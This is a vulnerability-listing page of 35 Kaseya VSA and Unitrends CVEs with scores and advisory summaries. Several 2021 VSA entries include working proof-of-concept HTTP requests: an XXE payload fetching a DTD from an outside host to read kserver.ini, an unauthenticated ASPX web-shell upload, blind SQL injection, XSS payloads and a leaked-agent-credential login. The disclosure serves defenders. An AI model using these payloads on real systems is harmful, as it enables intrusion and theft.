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Kaseya : Security Vulnerabilities

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# CVE ID CWE ID # of Exploits Vulnerability Type(s) Publish Date Update Date Score Gained Access Level Access Complexity Authentication Conf. Integ. Avail.
1 CVE-2021-43044 798 2021-12-06 2021-12-06
7.5
None Remote Low Not required Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The SNMP daemon was configured with a weak default community.
2 CVE-2021-43043 668 2021-12-06 2021-12-06
4.0
None Remote Low ??? Partial None None
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The apache user could read arbitrary files such as /etc/shadow by abusing an insecure Sudo rule.
3 CVE-2021-43042 120 Overflow 2021-12-06 2021-12-06
7.5
None Remote Low Not required Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. A buffer overflow existed in the vaultServer component. This was exploitable by a remote unauthenticated attacker.
4 CVE-2021-43041 134 2021-12-06 2021-12-06
6.5
None Remote Low ??? Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. A crafted HTTP request could induce a format string vulnerability in the privileged vaultServer application.
5 CVE-2021-43040 269 2021-12-06 2022-05-13
6.5
None Remote Low ??? Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The privileged vaultServer could be leveraged to create arbitrary writable files, leading to privilege escalation.
6 CVE-2021-43039 668 2021-12-06 2022-05-13
6.4
None Remote Low Not required Partial Partial None
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The Samba file sharing service allowed anonymous read/write access.
7 CVE-2021-43038 74 Exec Code 2021-12-06 2022-05-13
6.5
None Remote Low ??? Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The wguest account could execute commands by injecting into PostgreSQL trigger functions. This allowed privilege escalation from the wguest user to the postgres user.
8 CVE-2021-43037 427 2021-12-06 2021-12-06
6.9
None Local Medium Not required Complete Complete Complete
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The Unitrends Windows agent was vulnerable to DLL injection and binary planting due to insecure default permissions. This allowed privilege escalation from an unprivileged user to SYSTEM.
9 CVE-2021-43036 521 2021-12-06 2022-05-13
7.5
None Remote Low Not required Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. The password for the PostgreSQL wguest account is weak.
10 CVE-2021-43035 89 Exec Code Sql 2021-12-06 2021-12-06
7.5
None Remote Low Not required Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. Two unauthenticated SQL injection vulnerabilities were discovered, allowing arbitrary SQL queries to be injected and executed under the postgres superuser account. Remote code execution was possible, leading to full access to the postgres user account.
11 CVE-2021-43034 269 Exec Code 2021-12-06 2021-12-06
4.6
None Local Low Not required Partial Partial Partial
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. A world writable file allowed local users to execute arbitrary code as the user apache, leading to privilege escalation.
12 CVE-2021-43033 20 Exec Code 2021-12-06 2021-12-06
10.0
None Remote Low Not required Complete Complete Complete
An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. Multiple functions in the bpserverd daemon were vulnerable to arbitrary remote code execution as root. The vulnerability was caused by untrusted input (received by the server) being passed to system calls.
13 CVE-2021-40387 Exec Code 2021-09-01 2021-09-07
9.0
None Remote Low ??? Complete Complete Complete
An issue was discovered in the server software in Kaseya Unitrends Backup Software before 10.5.5-2. There is authenticated remote code execution.
14 CVE-2021-40386 Exec Code 2022-04-15 2022-04-25
7.5
None Remote Low Not required Partial Partial Partial
Kaseya Unitrends Client/Agent through 10.5,5 allows remote attackers to execute arbitrary code.
15 CVE-2021-40385 269 2021-09-01 2021-09-07
9.0
None Remote Low ??? Complete Complete Complete
An issue was discovered in the server software in Kaseya Unitrends Backup Software before 10.5.5-2. There is a privilege escalation from read-only user to admin.
16 CVE-2021-30201 611 2021-07-09 2022-04-29
5.0
None Remote Low Not required Partial None None
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
17 CVE-2021-30121 829 File Inclusion 2021-07-09 2022-04-29
4.0
None Remote Low ??? Partial None None
Semi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Example request: `https://x.x.x.x/KLC/js/Kaseya.SB.JS/js.aspx?path=C:\Kaseya\WebPages\dl.asp` A valid sessionId is required but can be easily obtained via CVE-2021-30118
18 CVE-2021-30120 863 Bypass 2021-07-09 2022-04-29
5.0
None Remote Low Not required None Partial None
Kaseya VSA before 9.5.7 allows attackers to bypass the 2FA requirement. The need to use 2FA for authentication in enforce client-side instead of server-side and can be bypassed using a local proxy. Thus rendering 2FA useless. Detailed description --- During the login process, after the user authenticates with username and password, the server sends a response to the client with the booleans MFARequired and MFAEnroled. If the attacker has obtained a password of a user and used an intercepting proxy (e.g. Burp Suite) to change the value of MFARequered from True to False, there is no prompt for the second factor, but the user is still logged in.
19 CVE-2021-30119 79 XSS 2021-07-09 2022-04-29
3.5
None Remote Medium ??? None Partial None
Authenticated reflective XSS in HelpDeskTab/rcResults.asp The parameter result of /HelpDeskTab/rcResults.asp is insecurely returned in the requested web page and can be used to perform a Cross Site Scripting attack Example request: `https://x.x.x.x/HelpDeskTab/rcResults.asp?result=<script>alert(document.cookie)</script>` The same is true for the parameter FileName of /done.asp Eaxmple request: `https://x.x.x.x/done.asp?FileName=";</script><script>alert(1);a="&PathData=&originalName=shell.aspx&FileSize=4388&TimeElapsed=00:00:00.078`
20 CVE-2021-30118 434 Exec Code Bypass 2021-07-09 2022-04-29
10.0
None Remote Low Not required Complete Complete Complete
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
21 CVE-2021-30117 89 Sql 2021-07-09 2022-04-29
6.5
None Remote Low ??? Partial Partial Partial
The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```
22 CVE-2021-30116 522 Bypass +Info 2021-07-09 2022-04-04
7.5
None Remote Low Not required Partial Partial Partial
Kaseya VSA before 9.5.7 allows credential disclosure, as exploited in the wild in July 2021. By default Kaseya VSA on premise offers a download page where the clients for the installation can be downloaded. The default URL for this page is https://x.x.x.x/dl.asp When an attacker download a client for Windows and installs it, the file KaseyaD.ini is generated (C:\Program Files (x86)\Kaseya\XXXXXXXXXX\KaseyaD.ini) which contains an Agent_Guid and AgentPassword This Agent_Guid and AgentPassword can be used to log in on dl.asp (https://x.x.x.x/dl.asp?un=840997037507813&pw=113cc622839a4077a84837485ced6b93e440bf66d44057713cb2f95e503a06d9) This request authenticates the client and returns a sessionId cookie that can be used in subsequent attacks to bypass authentication. Security issues discovered --- * Unauthenticated download page leaks credentials * Credentials of agent software can be used to obtain a sessionId (cookie) that can be used for services not intended for use by agents * dl.asp accepts credentials via a GET request * Access to KaseyaD.ini gives an attacker access to sufficient information to penetrate the Kaseya installation and its clients. Impact --- Via the page /dl.asp enough information can be obtained to give an attacker a sessionId that can be used to execute further (semi-authenticated) attacks against the system.
23 CVE-2019-15506 200 +Info 2019-08-26 2021-07-21
7.8
None Remote Low Not required Complete None None
An issue was discovered in Kaseya Virtual System Administrator (VSA) through 9.4.0.37. It has a critical information disclosure vulnerability. An unauthenticated attacker can send properly formatted requests to the web application and download sensitive files and information. For example, the /DATAREPORTS directory can be farmed for reports. Because this directory contains the results of reports such as NMAP, Patch Status, and Active Directory domain metadata, an attacker can easily collect this critical information and parse it for information. There are a number of directories affected.
24 CVE-2019-14510 276 2019-10-11 2021-07-21
7.2
None Local Low Not required Complete Complete Complete
An issue was discovered in Kaseya VSA RMM through 9.5.0.22. When using the default configuration, the LAN Cache feature creates a local account FSAdminxxxxxxxxx (e.g., FSAdmin123456789) on the server that hosts the LAN Cache and all clients that are assigned to a LAN Cache. This account is placed into the local Administrators group of all clients assigned to the LAN Cache. When the assigned client is a Domain Controller, the FSAdminxxxxxxxxx account is created as a domain account and automatically added as a member of the domain BUILTIN\Administrators group. Using the well known Pass-the-Hash techniques, an attacker can use the same FSAdminxxxxxxxxx hash from any LAN Cache client and pass this to a Domain Controller, providing administrative rights to the attacker on any Domain Controller. (Local account Pass-the-Hash mitigations do not protect domain accounts.)
25 CVE-2018-20753 2019-02-05 2019-10-03
7.5
None Remote Low Not required Partial Partial Partial
Kaseya VSA RMM before R9.3 9.3.0.35, R9.4 before 9.4.0.36, and R9.5 before 9.5.0.5 allows unprivileged remote attackers to execute PowerShell payloads on all managed devices. In January 2018, attackers actively exploited this vulnerability in the wild.
26 CVE-2018-6328 287 Bypass 2018-03-14 2021-12-06
7.5
None Remote Low Not required Partial Partial Partial
It was discovered that the Unitrends Backup (UB) before 10.1.0 user interface was exposed to an authentication bypass, which then could allow an unauthenticated user to inject arbitrary commands into its /api/hosts parameters using backquotes.
27 CVE-2017-12479 Exec Code 2017-08-07 2021-12-06
9.0
None Remote Low ??? Complete Complete Complete
It was discovered that an issue in the session logic in Unitrends Backup (UB) before 10.0.0 allowed using the LOGDIR environment variable during a web session to elevate an existing low-privilege user to root privileges. A remote attacker with existing low-privilege credentials could then execute arbitrary commands with root privileges.
28 CVE-2017-12478 287 Exec Code Bypass 2017-08-07 2021-12-16
10.0
None Remote Low Not required Complete Complete Complete
It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system.
29 CVE-2017-12477 287 Exec Code Bypass 2017-08-07 2021-12-16
10.0
None Remote Low Not required Complete Complete Complete
It was discovered that the bpserverd proprietary protocol in Unitrends Backup (UB) before 10.0.0, as invoked through xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.
30 CVE-2017-12410 362 2018-03-26 2018-10-09
6.9
None Local Medium Not required Complete Complete Complete
It is possible to exploit a Time of Check & Time of Use (TOCTOU) vulnerability by winning a race condition when Kaseya Virtual System Administrator agent 9.3.0.11 and earlier tries to execute its binaries from working and/or temporary folders. Successful exploitation results in the execution of arbitrary programs with "NT AUTHORITY\SYSTEM" privileges.
31 CVE-2015-6922 287 Bypass 2020-02-17 2020-02-26
7.5
None Remote Low Not required Partial Partial Partial
Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.33, 8.x before 8.0.0.23, 9.0 before 9.0.0.19, and 9.1 before 9.1.0.9 does not properly require authentication, which allows remote attackers to bypass authentication and (1) add an administrative account via crafted request to LocalAuth/setAccount.aspx or (2) write to and execute arbitrary files via a full pathname in the PathData parameter to ConfigTab/uploader.aspx.
32 CVE-2015-6589 22 Dir. Trav. 2020-02-13 2020-02-25
6.5
None Remote Low ??? Partial Partial Partial
Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.0.0.0 before 7.0.0.33, 8..0.0.0 before 8.0.0.23, 9.0.0.0 before 9.0.0.19, and 9.1.0.0 before 9.1.0.9 allows remote authenticated users to write to and execute arbitrary files due to insufficient restrictions in file paths to json.ashx.
33 CVE-2015-2863 2015-07-20 2019-02-05
4.3
None Remote Medium Not required None Partial None
Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.
34 CVE-2015-2862 22 Dir. Trav. 2015-07-20 2019-02-05
4.0
None Remote Low ??? Partial None None
Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote authenticated users to read arbitrary files via a crafted HTTP request.
35 CVE-2014-2926 DoS 2014-07-14 2014-07-15
1.7
None Local Low ??? None None Partial
kapfa.sys in Kaseya Virtual System Administrator (VSA) 6.5 before 6.5.0.17 and 7.0 before 7.0.0.16 allows local users to cause a denial of service (NULL pointer dereference and application crash) via unspecified vectors.
Total number of vulnerabilities : 35   Page : 1 (This Page)
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